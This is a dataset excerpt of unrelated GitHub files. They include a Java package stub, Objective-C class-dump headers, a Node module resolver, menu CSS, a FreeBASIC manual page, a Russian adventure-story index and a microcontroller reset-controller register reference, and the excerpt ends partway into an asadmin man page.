text
stringlengths 2
99.9k
| meta
dict |
---|---|
/*
* Copyright 2018-present Open Networking Foundation
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/**
* Atomic map primitive.
*/
package io.atomix.core.map;
| {
"pile_set_name": "Github"
} |
//
// Generated by class-dump 3.5 (64 bit) (Debug version compiled Oct 25 2017 03:49:04).
//
// class-dump is Copyright (C) 1997-1998, 2000-2001, 2004-2015 by Steve Nygard.
//
#import <AppKit/NSCollectionViewLayout.h>
@interface TGalleryCollectionViewLayout : NSCollectionViewLayout
{
struct CGSize _itemSize;
struct CGPoint _itemAnchorPoint;
struct CGSize _contentSize;
double _minLineSpacing;
double _minInterItemSpacing;
struct NSEdgeInsets _sectionInset;
struct TPointQuadTree<unsigned long> _anchorPointQuadTree;
struct unordered_map<TFENode, CGPoint, std::__1::hash<TFENode>, std::__1::equal_to<TFENode>, std::__1::allocator<std::__1::pair<const TFENode, CGPoint>>> _nodeToAnchorPointCache;
}
+ (BOOL)itemLayoutIsSequential;
@property(nonatomic) struct NSEdgeInsets sectionInset; // @synthesize sectionInset=_sectionInset;
@property(nonatomic) double minimumInterItemSpacing; // @synthesize minimumInterItemSpacing=_minInterItemSpacing;
@property(nonatomic) double minimumLineSpacing; // @synthesize minimumLineSpacing=_minLineSpacing;
@property(nonatomic) struct CGSize itemSize; // @synthesize itemSize=_itemSize;
- (id).cxx_construct;
- (void).cxx_destruct;
- (id)layoutAttributesForElementsInRect:(struct CGRect)arg1;
- (id)layoutAttributesForItemAtIndexPath:(id)arg1;
- (struct CGSize)collectionViewContentSize;
- (void)prepareLayout;
- (void)_prepareLayout;
- (struct CGRect)itemFrameAtIndex:(unsigned long long)arg1;
- (struct CGRect)itemFrameFromAnchorPoint:(const struct CGPoint *)arg1;
- (struct CGPoint)anchorPointInItemFrame:(const struct CGRect *)arg1;
- (struct TFENodeVector)nodesInCollectionView;
- (id)galleryCollectionView;
- (void)invalidateLayoutWithContext:(id)arg1;
- (BOOL)shouldInvalidateLayoutForBoundsChange:(struct CGRect)arg1;
- (long long)scrollDirection;
- (void)initCommon;
- (id)initWithCoder:(id)arg1;
- (id)init;
@end
| {
"pile_set_name": "Github"
} |
var core = require('./core');
var fs = require('fs');
var path = require('path');
var caller = require('./caller.js');
var nodeModulesPaths = require('./node-modules-paths.js');
module.exports = function (x, opts) {
if (!opts) opts = {};
var isFile = opts.isFile || function (file) {
try { var stat = fs.statSync(file) }
catch (err) { if (err && err.code === 'ENOENT') return false }
return stat.isFile() || stat.isFIFO();
};
var readFileSync = opts.readFileSync || fs.readFileSync;
var extensions = opts.extensions || [ '.js' ];
var y = opts.basedir || path.dirname(caller());
opts.paths = opts.paths || [];
if (/^(?:\.\.?(?:\/|$)|\/|([A-Za-z]:)?[\\\/])/.test(x)) {
var res = path.resolve(y, x);
if (x === '..') res += '/';
var m = loadAsFileSync(res) || loadAsDirectorySync(res);
if (m) return m;
} else {
var n = loadNodeModulesSync(x, y);
if (n) return n;
}
if (core[x]) return x;
throw new Error("Cannot find module '" + x + "' from '" + y + "'");
function loadAsFileSync (x) {
if (isFile(x)) {
return x;
}
for (var i = 0; i < extensions.length; i++) {
var file = x + extensions[i];
if (isFile(file)) {
return file;
}
}
}
function loadAsDirectorySync (x) {
var pkgfile = path.join(x, '/package.json');
if (isFile(pkgfile)) {
var body = readFileSync(pkgfile, 'utf8');
try {
var pkg = JSON.parse(body);
if (opts.packageFilter) {
pkg = opts.packageFilter(pkg, x);
}
if (pkg.main) {
var m = loadAsFileSync(path.resolve(x, pkg.main));
if (m) return m;
var n = loadAsDirectorySync(path.resolve(x, pkg.main));
if (n) return n;
}
}
catch (err) {}
}
return loadAsFileSync(path.join( x, '/index'));
}
function loadNodeModulesSync (x, start) {
var dirs = nodeModulesPaths(start, opts);
for (var i = 0; i < dirs.length; i++) {
var dir = dirs[i];
var m = loadAsFileSync(path.join( dir, '/', x));
if (m) return m;
var n = loadAsDirectorySync(path.join( dir, '/', x ));
if (n) return n;
}
}
};
| {
"pile_set_name": "Github"
} |
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="4.0">
<axes>
<axis tag="wdth" name="wdth" minimum="0" maximum="1000" default="0">
<labelname xml:lang="en">width</labelname>
</axis>
</axes>
<sources>
<source filename="Amstelvar-Roman-opsz144-wght900-wdth125.ufo" familyname="Amstelvar" stylename="Roman-opsz144-wght900-wdth125">
<location>
<dimension name="wdth" xvalue="1000"/>
</location>
</source>
<source filename="Amstelvar-Roman-opsz144-wght900-wdth50.ufo" familyname="Amstelvar" stylename="Roman-opsz144-wght900-wdth50">
<location>
<dimension name="wdth" xvalue="0"/>
</location>
</source>
</sources>
<lib>
<dict>
<key>com.letterror.skateboard.interactionSources</key>
<dict>
<key>horizontal</key>
<array>
<string>wdth</string>
</array>
</dict>
<key>com.letterror.skateboard.previewLocation</key>
<dict>
<key>wdth</key>
<real>430.0</real>
</dict>
<key>com.letterror.skateboard.previewText</key>
<string>SKATE</string>
</dict>
</lib>
</designspace>
| {
"pile_set_name": "Github"
} |
.menu {
position: absolute;
margin: 0;
padding: 2px;
border-width: 1px;
border-style: solid;
overflow: hidden;
}
.menu-inline {
position: relative;
}
.menu-item {
position: relative;
margin: 0;
padding: 0;
overflow: hidden;
white-space: nowrap;
cursor: pointer;
border-width: 1px;
border-style: solid;
}
.menu-text {
height: 20px;
line-height: 20px;
float: left;
padding-left: 28px;
}
.menu-icon {
position: absolute;
width: 16px;
height: 16px;
left: 2px;
top: 50%;
margin-top: -8px;
}
.menu-rightarrow {
position: absolute;
width: 16px;
height: 16px;
right: 0;
top: 50%;
margin-top: -8px;
}
.menu-line {
position: absolute;
left: 26px;
top: 0;
height: 2000px;
font-size: 1px;
}
.menu-sep {
margin: 3px 0px 3px 25px;
font-size: 1px;
}
.menu-noline .menu-line {
display: none;
}
.menu-noline .menu-sep {
margin-left: 0;
margin-right: 0;
}
.menu-active {
-moz-border-radius: 2px 2px 2px 2px;
-webkit-border-radius: 2px 2px 2px 2px;
border-radius: 2px 2px 2px 2px;
}
.menu-item-disabled {
opacity: 0.5;
filter: alpha(opacity=50);
cursor: default;
}
.menu-text,
.menu-text span {
font-size: 14px;
}
.menu-shadow {
position: absolute;
-moz-border-radius: 2px 2px 2px 2px;
-webkit-border-radius: 2px 2px 2px 2px;
border-radius: 2px 2px 2px 2px;
background: #ccc;
-moz-box-shadow: 2px 2px 3px #cccccc;
-webkit-box-shadow: 2px 2px 3px #cccccc;
box-shadow: 2px 2px 3px #cccccc;
filter: progid:DXImageTransform.Microsoft.Blur(pixelRadius=2,MakeShadow=false,ShadowOpacity=0.2);
}
.menu-rightarrow {
background: url('images/menu_arrows.png') no-repeat -32px center;
}
.menu-line {
border-left: 1px solid #dfdfdf;
border-right: 1px solid #fff;
}
.menu-sep {
border-top: 1px solid #dfdfdf;
border-bottom: 1px solid #fff;
}
.menu {
background-color: #fff;
border-color: #eee;
color: #404040;
}
.menu-content {
background: #ffffff;
}
.menu-item {
border-color: transparent;
_border-color: #fff;
}
.menu-active {
border-color: #ccc;
color: #404040;
background: #eee;
}
.menu-active-disabled {
border-color: transparent;
background: transparent;
color: #404040;
}
| {
"pile_set_name": "Github"
} |
/* Generated by RuntimeBrowser
Image: /System/Library/PrivateFrameworks/GeoServices.framework/GeoServices
*/
@interface GEOTFPredictedSpeed : PBCodable <NSCopying> {
unsigned int _deltaMinutesInFuture;
struct {
unsigned int deltaMinutesInFuture : 1;
unsigned int speed : 1;
} _has;
unsigned int _speed;
}
@property (nonatomic) unsigned int deltaMinutesInFuture;
@property (nonatomic) bool hasDeltaMinutesInFuture;
@property (nonatomic) bool hasSpeed;
@property (nonatomic) unsigned int speed;
- (void)copyTo:(id)arg1;
- (id)copyWithZone:(struct _NSZone { }*)arg1;
- (unsigned int)deltaMinutesInFuture;
- (id)description;
- (id)dictionaryRepresentation;
- (bool)hasDeltaMinutesInFuture;
- (bool)hasSpeed;
- (unsigned long long)hash;
- (bool)isEqual:(id)arg1;
- (void)mergeFrom:(id)arg1;
- (bool)readFrom:(id)arg1;
- (void)setDeltaMinutesInFuture:(unsigned int)arg1;
- (void)setHasDeltaMinutesInFuture:(bool)arg1;
- (void)setHasSpeed:(bool)arg1;
- (void)setSpeed:(unsigned int)arg1;
- (unsigned int)speed;
- (void)writeTo:(id)arg1;
@end
| {
"pile_set_name": "Github"
} |
// Copyright 2017, The Go Authors. All rights reserved.
// Use of this source code is governed by a BSD-style
// license that can be found in the LICENSE.md file.
// +build cmp_debug
package diff
import (
"fmt"
"strings"
"sync"
"time"
)
// The algorithm can be seen running in real-time by enabling debugging:
// go test -tags=cmp_debug -v
//
// Example output:
// === RUN TestDifference/#34
// ┌───────────────────────────────┐
// │ \ · · · · · · · · · · · · · · │
// │ · # · · · · · · · · · · · · · │
// │ · \ · · · · · · · · · · · · · │
// │ · · \ · · · · · · · · · · · · │
// │ · · · X # · · · · · · · · · · │
// │ · · · # \ · · · · · · · · · · │
// │ · · · · · # # · · · · · · · · │
// │ · · · · · # \ · · · · · · · · │
// │ · · · · · · · \ · · · · · · · │
// │ · · · · · · · · \ · · · · · · │
// │ · · · · · · · · · \ · · · · · │
// │ · · · · · · · · · · \ · · # · │
// │ · · · · · · · · · · · \ # # · │
// │ · · · · · · · · · · · # # # · │
// │ · · · · · · · · · · # # # # · │
// │ · · · · · · · · · # # # # # · │
// │ · · · · · · · · · · · · · · \ │
// └───────────────────────────────┘
// [.Y..M.XY......YXYXY.|]
//
// The grid represents the edit-graph where the horizontal axis represents
// list X and the vertical axis represents list Y. The start of the two lists
// is the top-left, while the ends are the bottom-right. The '·' represents
// an unexplored node in the graph. The '\' indicates that the two symbols
// from list X and Y are equal. The 'X' indicates that two symbols are similar
// (but not exactly equal) to each other. The '#' indicates that the two symbols
// are different (and not similar). The algorithm traverses this graph trying to
// make the paths starting in the top-left and the bottom-right connect.
//
// The series of '.', 'X', 'Y', and 'M' characters at the bottom represents
// the currently established path from the forward and reverse searches,
// separated by a '|' character.
const (
updateDelay = 100 * time.Millisecond
finishDelay = 500 * time.Millisecond
ansiTerminal = true // ANSI escape codes used to move terminal cursor
)
var debug debugger
type debugger struct {
sync.Mutex
p1, p2 EditScript
fwdPath, revPath *EditScript
grid []byte
lines int
}
func (dbg *debugger) Begin(nx, ny int, f EqualFunc, p1, p2 *EditScript) EqualFunc {
dbg.Lock()
dbg.fwdPath, dbg.revPath = p1, p2
top := "┌─" + strings.Repeat("──", nx) + "┐\n"
row := "│ " + strings.Repeat("· ", nx) + "│\n"
btm := "└─" + strings.Repeat("──", nx) + "┘\n"
dbg.grid = []byte(top + strings.Repeat(row, ny) + btm)
dbg.lines = strings.Count(dbg.String(), "\n")
fmt.Print(dbg)
// Wrap the EqualFunc so that we can intercept each result.
return func(ix, iy int) (r Result) {
cell := dbg.grid[len(top)+iy*len(row):][len("│ ")+len("· ")*ix:][:len("·")]
for i := range cell {
cell[i] = 0 // Zero out the multiple bytes of UTF-8 middle-dot
}
switch r = f(ix, iy); {
case r.Equal():
cell[0] = '\\'
case r.Similar():
cell[0] = 'X'
default:
cell[0] = '#'
}
return
}
}
func (dbg *debugger) Update() {
dbg.print(updateDelay)
}
func (dbg *debugger) Finish() {
dbg.print(finishDelay)
dbg.Unlock()
}
func (dbg *debugger) String() string {
dbg.p1, dbg.p2 = *dbg.fwdPath, dbg.p2[:0]
for i := len(*dbg.revPath) - 1; i >= 0; i-- {
dbg.p2 = append(dbg.p2, (*dbg.revPath)[i])
}
return fmt.Sprintf("%s[%v|%v]\n\n", dbg.grid, dbg.p1, dbg.p2)
}
func (dbg *debugger) print(d time.Duration) {
if ansiTerminal {
fmt.Printf("\x1b[%dA", dbg.lines) // Reset terminal cursor
}
fmt.Print(dbg)
time.Sleep(d)
}
| {
"pile_set_name": "Github"
} |
{{fbdoc item="title" value="VALLNG"}}----
Converts a string to a 64bit integer
{{fbdoc item="syntax"}}##
[[KeyPgDeclare|declare]] [[KeyPgFunction|function]] **Vallng** ( [[KeyPgByref|byref]] //strnum// [[KeyPgAs|as]] [[KeyPgConstQualifier|const]] [[KeyPgString|string]] ) [[KeyPgAs|as]] [[KeyPgLongint|longint]]
[[KeyPgDeclare|declare]] [[KeyPgFunction|function]] **Vallng** ( [[KeyPgByref|byref]] //strnum// [[KeyPgAs|as]] [[KeyPgConstQualifier|const]] [[KeyPgWstring|wstring]] ) [[KeyPgAs|as]] [[KeyPgLongint|longint]]
##
{{fbdoc item="usage"}}##
//result// = **Vallng** ( //strnum// )
##
{{fbdoc item="param"}}
##//strnum//##
the string to convert
{{fbdoc item="ret"}}
Returns a ##[[KeyPgLongint|longint]]## of the converted string
If the first character of the string is invalid, ##**Vallng**## will return ##0##.
{{fbdoc item="desc"}}
For example, ##**Vallng**("10")## will return ##10##, and ##**Vallng**("10.60")## will return ##10## as well. The function parses the string from the left, skipping any white space, and returns the longest number it can read, stopping at the first non-suitable character it finds. Any non-numeric characters, including decimal points and exponent specifiers, are considered non-suitable, for example, ##**Vallng**("23.1E+6")## will just return ##23##.
##**Vallng**## can be used to convert integer numbers in [[KeyPgBin|binary]] / [[KeyPgOct|octal]] / [[KeyPgHex|hexadecimal]] format, if they have the relevant identifier (##"&B"## / ##"&O"## / ##"&H"##) prefixed, for example: ##**Vallng**("&HFF")## returns ##255##.
If you want to convert a number into string format, use the ##[[KeyPgStr|Str]]## function.
{{fbdoc item="ex"}}
{{fbdoc item="filename" value="examples/manual/strings/vallng.bas"}}%%(freebasic)
dim a as string, b as longint
a = "20xa211"
b = vallng(a)
print a, b
%%
%%
20xa211 20
%%
{{fbdoc item="lang"}}
- Not available in the //[[CompilerOptlang|-lang qb]]// dialect unless referenced with the alias ##**""__Vallng""**##.
{{fbdoc item="diff"}}
- New to ""FreeBASIC""
{{fbdoc item="see"}}
- ##[[KeyPgClngint|Clngint]]##
- ##[[KeyPgVal|Val]]##
- ##[[KeyPgValint|Valint]]##
- ##[[KeyPgValulng|Valulng]]##
- ##[[KeyPgStr|Str]]##
- ##[[KeyPgChr|Chr]]##
- ##[[KeyPgAsc|Asc]]##
{{fbdoc item="back" value="CatPgCasting|Converting Data Types"}}{{fbdoc item="back" value="CatPgString|String Functions"}} | {
"pile_set_name": "Github"
} |
APP_STL := gnustl_static
APP_CPPFLAGS := -frtti
| {
"pile_set_name": "Github"
} |
/*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
*
* This program is distributed in the hope that it will be useful,
* but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see <http://www.gnu.org/licenses/>.
*
* Author: Justin Wong <[email protected]>
*
*/
package hop
import (
. "github.com/bigeagle/gohop/internal"
)
var logger = GetLogger()
var MTU = 1400
const (
IFACE_BUFSIZE = 2000
)
| {
"pile_set_name": "Github"
} |
Вы просыпаетесь в комнате со стенами из зефира.
Пол покрыт шоколадной глазурью
Солнце светит и вы видите в окне цветы, цветущие в саду.
Тихая музыка в джазовом стиле слышна, наверно она знакомая?
Да, это Small Mouse Big Band притаился в Вашей подмышечной впадине и наигрывает "Караван".
От звука тромбона Вам становится щекотно.
Нащупав наконец, головой, недопитый ящик водки, вы пытаетесь открыть глаза.
Это была всего лишь банка с вишневым компотом.
И тут вы вспоминаете своего знакомого, с которым пресеклись две недели назад. Именно он порекомендовал вам компанию,
которая может превратить вашу квартиру в шоколадный торт. Толстый слой зефира на стенах.
Слой шоколада на полу и заварного крема на потолке. Кровать из песочного теста. Подушки из свежего бисквита.
Да, служащие компании постарались на славу!
Будет не стыдно перед знакомыми за такой дом!
Вчера вы хотели только прилечь на кровать, но накопившаяся усталость дала о себе знать и вы проспали 9 часов.
Наступил день и теперь вы, полностью отдохнувший, готовы осуществить то, ради чего вы все это затеяли.
Взмахнув руками, вы наконец-то начинаете полет.
Ваши действия:
[Вы летите на Зов Ктулху](cthulhu/cthulhu.md)
[Пригласить профессора Воробьева](invite-proffesor/invite-proffesor.md)
[Попросите девушку ущепнуть вас](girlfriend-pinch-you/girlfriend-pinch-you.md)
[Пойти поплавать](go-to-swim/go-to-swim.md)
[Начать танцевать Лезгинку](dance_lezginka/dance.md)
[Смешать водку с пивом](vodka/vodka.md)
[Импортозаместить тромбон на гусли](gusli/gusli.md)
[Ненавижу зефир... Прочь из этой ужасной комнаты!](flowers/flowers.md)
[Открыть окно](window/window.md)
[Задернуть занавеску](draw-curtain/drawing-curtain.md)
[Поразмышляете о причинах вашей неожиданной смерти и природе сознания.](thinking-about/thinking.md)
[Начнёте есть стены.](eating-walls/eating-marshmallows.md)
[Разведёте костер.](light-fire/fire.md)
[Включите вести недели](vesti-nedeli/vesti.md)
[Попытаетесь проснуться.](awaken/awaken.md)
[Вернётесь ко сну.](sleep/zefir.md)
[Пойдёте варить кофе.](awaken/stand-up/coffee/coffee.md)
[Позвоните в ЖЭК.](buildings-dep/buildings-dep.md)
[Закроете глаза.](close-eyes/close-eyes.md)
[Откроете зефирный магазин.](shop/shop.md)
[Пойдёте в сад.](garden/garden.md)
[Позовёте друзей.](invite-friends/invite.md)
[Позвоните маме.](call-mom/call-mom.md)
[Позвоните охотникам за привидениями.](call-ghostbusters/ghostbusters.md)
[Поставите запятую после "цветы".] (comma/comma.md)
[Начинайте танцевать от радости.](dance/dance.md)
[Вспомните интересную шутку](Holms-Watson/Holmes-Watson.md)
[Откроете дверь, в нее настойчиво стучат.](rat-rat/rat-rat.md)
[Поздравлю деда.](grandad/grandad.md)
[Попробую отщипнуть кусочек зефирной стены.](nip-off/nip-off.md)
[Почесать в подмышечной впадине.](scratch/scratch.md)
[Пойду в другую комнату](next_room/next_room.md)
[Поговорю с соседями](speak_to_neighbor/speak_to_neighbor.md)
[Внезапно безумно начну просить сломать меня] (break-me-completelly/break-me.md)
[Зевну, откушу кусок зефира и снова усну...](dream/dream.md)
[Завоюю мир, в котором проснулся](conquer/lead.md)
[Отхлебну и закушу](kompot/kompot.md)
[Открою Instagram](instagram/instagram.md)
[Бросить "уделанную" футболку Slayer в стирку и отправиться на заутреннюю молитву](prayer/morning_prayer.md)
[Почувствуете ужасный голод] (hunger/feel-hunger.md)
[Начнёте медитировать](meditate/meditate.md)
[Решите программировать] (programming/to-program.md)
[Отправитесь путешествовать](travelling/go-to-travel.md)
[Буду клеить](glue/index.md)
[Включите музыку](music/turn_music.md)
[Наделаю селфи](selfie/make_selfie.md)
[Зайти на двач](2ch/2ch.md)
[Стану вегетарианцем](vegetarian/vegetarian.md)
[Открою сайт спутник.ру](sputnik/sputnik.md)
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>SAM3S RSTC</title>
<link rel="stylesheet" type="text/css" href="css/html.css" media="all" />
</head>
<body id="abstract">
<div id="container">
<div id="content">
<a id="RSTC"></a>
<h1>SAM3S RSTC</h1>
<a id="RSTC__User_Interface"></a>
<h2>Reset Controller (RSTC) User Interface</h2>
<!--As per 11009A programmer datasheet.-->
<h3>Registers</h3>
<table class="registers">
<caption>Register Mapping</caption>
<thead>
<tr>
<th class="address">Address</th>
<th class="description">Register</th>
<th class="name">Name</th>
<th class="access">Access</th>
<th class="reset">Reset</th>
</tr>
</thead>
<tbody>
<tr class="odd">
<td class="address" id="address_0x400E1400">0x400E1400</td>
<td class="description">Control Register</td>
<td class="name">
<a href="#RSTC_CR" title="Control Register" class="one_click_away">RSTC_CR</a>
</td>
<td class="access">write-only</td>
<td class="address">-</td>
</tr>
<tr class="even">
<td class="address" id="address_0x400E1404">0x400E1404</td>
<td class="description">Status Register</td>
<td class="name">
<a href="#RSTC_SR" title="Status Register" class="one_click_away">RSTC_SR</a>
</td>
<td class="access">read-only</td>
<td class="address">0x00000000</td>
</tr>
<tr class="odd">
<td class="address" id="address_0x400E1408">0x400E1408</td>
<td class="description">Mode Register</td>
<td class="name">
<a href="#RSTC_MR" title="Mode Register" class="one_click_away">RSTC_MR</a>
</td>
<td class="access">read-write</td>
<td class="address">0x00000001</td>
</tr>
</tbody>
</table>
<h3>Register Fields</h3>
<h4 id="RSTC_CR">RSTC Control Register</h4>
<p><strong>Name</strong>: RSTC_CR</p>
<p><strong>Access</strong>: write-only</p>
<p><strong>Address</strong>: 0x400E1400</p>
<table class="fields">
<tbody>
<tr class="offsets">
<td>31</td>
<td>30</td>
<td>29</td>
<td>28</td>
<td>27</td>
<td>26</td>
<td>25</td>
<td>24</td>
</tr>
<tr class="fields">
<td colspan="8">
<a href="#RSTC_CR__KEY" title="Password">KEY</a>
</td>
</tr>
<tr class="offsets">
<td>23</td>
<td>22</td>
<td>21</td>
<td>20</td>
<td>19</td>
<td>18</td>
<td>17</td>
<td>16</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr class="offsets">
<td>15</td>
<td>14</td>
<td>13</td>
<td>12</td>
<td>11</td>
<td>10</td>
<td>9</td>
<td>8</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr class="offsets">
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>1</td>
<td>0</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_CR__EXTRST" title="External Reset">EXTRST</a>
</td>
<td colspan="1">
<a href="#RSTC_CR__PERRST" title="Peripheral Reset">PERRST</a>
</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_CR__PROCRST" title="Processor Reset">PROCRST</a>
</td>
</tr>
</tbody>
</table>
<ul class="values">
<li id="RSTC_CR__PROCRST"><strong>PROCRST</strong>: Processor Reset<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">No effect.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">If KEY is correct, resets the processor.</td></tr></tbody></table></li>
<li id="RSTC_CR__PERRST"><strong>PERRST</strong>: Peripheral Reset<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">No effect.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">If KEY is correct, resets the peripherals.</td></tr></tbody></table></li>
<li id="RSTC_CR__EXTRST"><strong>EXTRST</strong>: External Reset<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">No effect.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">If KEY is correct, asserts the NRST pin.</td></tr></tbody></table></li>
<li id="RSTC_CR__KEY"><strong>KEY</strong>: Password</li>
<p>-</p>
</ul>
<h4 id="RSTC_SR">RSTC Status Register</h4>
<p><strong>Name</strong>: RSTC_SR</p>
<p><strong>Access</strong>: read-only</p>
<p><strong>Address</strong>: 0x400E1404</p>
<table class="fields">
<tbody>
<tr class="offsets">
<td>31</td>
<td>30</td>
<td>29</td>
<td>28</td>
<td>27</td>
<td>26</td>
<td>25</td>
<td>24</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr class="offsets">
<td>23</td>
<td>22</td>
<td>21</td>
<td>20</td>
<td>19</td>
<td>18</td>
<td>17</td>
<td>16</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_SR__SRCMP" title="Software Reset Command in Progress">SRCMP</a>
</td>
<td colspan="1">
<a href="#RSTC_SR__NRSTL" title="NRST Pin Level">NRSTL</a>
</td>
</tr>
<tr class="offsets">
<td>15</td>
<td>14</td>
<td>13</td>
<td>12</td>
<td>11</td>
<td>10</td>
<td>9</td>
<td>8</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="3">
<a href="#RSTC_SR__RSTTYP" title="Reset Type">RSTTYP</a>
</td>
</tr>
<tr class="offsets">
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>1</td>
<td>0</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_SR__URSTS" title="User Reset Status">URSTS</a>
</td>
</tr>
</tbody>
</table>
<ul class="values">
<li id="RSTC_SR__URSTS"><strong>URSTS</strong>: User Reset Status<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">No high-to-low edge on NRST happened since the last read of RSTC_SR.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">At least one high-to-low transition of NRST has been detected since the last read of RSTC_SR.</td></tr></tbody></table></li>
<li id="RSTC_SR__RSTTYP"><strong>RSTTYP</strong>: Reset Type</li>
<p>-</p>
<li id="RSTC_SR__NRSTL"><strong>NRSTL</strong>: NRST Pin Level</li>
<p>-</p>
<li id="RSTC_SR__SRCMP"><strong>SRCMP</strong>: Software Reset Command in Progress<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">No software command is being performed by the reset controller. The reset controller is ready for a software command.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">A software reset command is being performed by the reset controller. The reset controller is busy.</td></tr></tbody></table></li>
</ul>
<h4 id="RSTC_MR">RSTC Mode Register</h4>
<p><strong>Name</strong>: RSTC_MR</p>
<p><strong>Access</strong>: read-write</p>
<p><strong>Address</strong>: 0x400E1408</p>
<table class="fields">
<tbody>
<tr class="offsets">
<td>31</td>
<td>30</td>
<td>29</td>
<td>28</td>
<td>27</td>
<td>26</td>
<td>25</td>
<td>24</td>
</tr>
<tr class="fields">
<td colspan="8">
<a href="#RSTC_MR__KEY" title="Password">KEY</a>
</td>
</tr>
<tr class="offsets">
<td>23</td>
<td>22</td>
<td>21</td>
<td>20</td>
<td>19</td>
<td>18</td>
<td>17</td>
<td>16</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
</tr>
<tr class="offsets">
<td>15</td>
<td>14</td>
<td>13</td>
<td>12</td>
<td>11</td>
<td>10</td>
<td>9</td>
<td>8</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="4">
<a href="#RSTC_MR__ERSTL" title="External Reset Length">ERSTL</a>
</td>
</tr>
<tr class="offsets">
<td>7</td>
<td>6</td>
<td>5</td>
<td>4</td>
<td>3</td>
<td>2</td>
<td>1</td>
<td>0</td>
</tr>
<tr class="fields">
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_MR__URSTIEN" title="User Reset Interrupt Enable">URSTIEN</a>
</td>
<td>-</td>
<td>-</td>
<td>-</td>
<td colspan="1">
<a href="#RSTC_MR__URSTEN" title="User Reset Enable">URSTEN</a>
</td>
</tr>
</tbody>
</table>
<ul class="values">
<li id="RSTC_MR__URSTEN"><strong>URSTEN</strong>: User Reset Enable<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">The detection of a low level on the pin NRST does not generate a User Reset.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">The detection of a low level on the pin NRST triggers a User Reset.</td></tr></tbody></table></li>
<li id="RSTC_MR__URSTIEN"><strong>URSTIEN</strong>: User Reset Interrupt Enable<table class="values"><thead><tr><th>Value</th><th>Name</th><th>Description</th></tr></thead><tbody><tr class="odd"><td class="value">0</td><td class="name">-</td><td class="description">USRTS bit in RSTC_SR at 1 has no effect on rstc_irq.</td></tr><tr class="even"><td class="value">1</td><td class="name">-</td><td class="description">USRTS bit in RSTC_SR at 1 asserts rstc_irq if URSTEN = 0.</td></tr></tbody></table></li>
<li id="RSTC_MR__ERSTL"><strong>ERSTL</strong>: External Reset Length</li>
<p>-</p>
<li id="RSTC_MR__KEY"><strong>KEY</strong>: Password</li>
<p>-</p>
</ul>
</div>
</div>
</body>
</html>
| {
"pile_set_name": "Github"
} |
export-sync-bundle(1) asadmin Utility Subcommands export-sync-bundle(1)
NAME
export-sync-bundle - exports the configuration data of a cluster or
standalone instance to an archive file
SYNOPSIS
export-sync-bundle [--help]
--target target
[--retrieve={false|true}]
[file-name]
DESCRIPTION
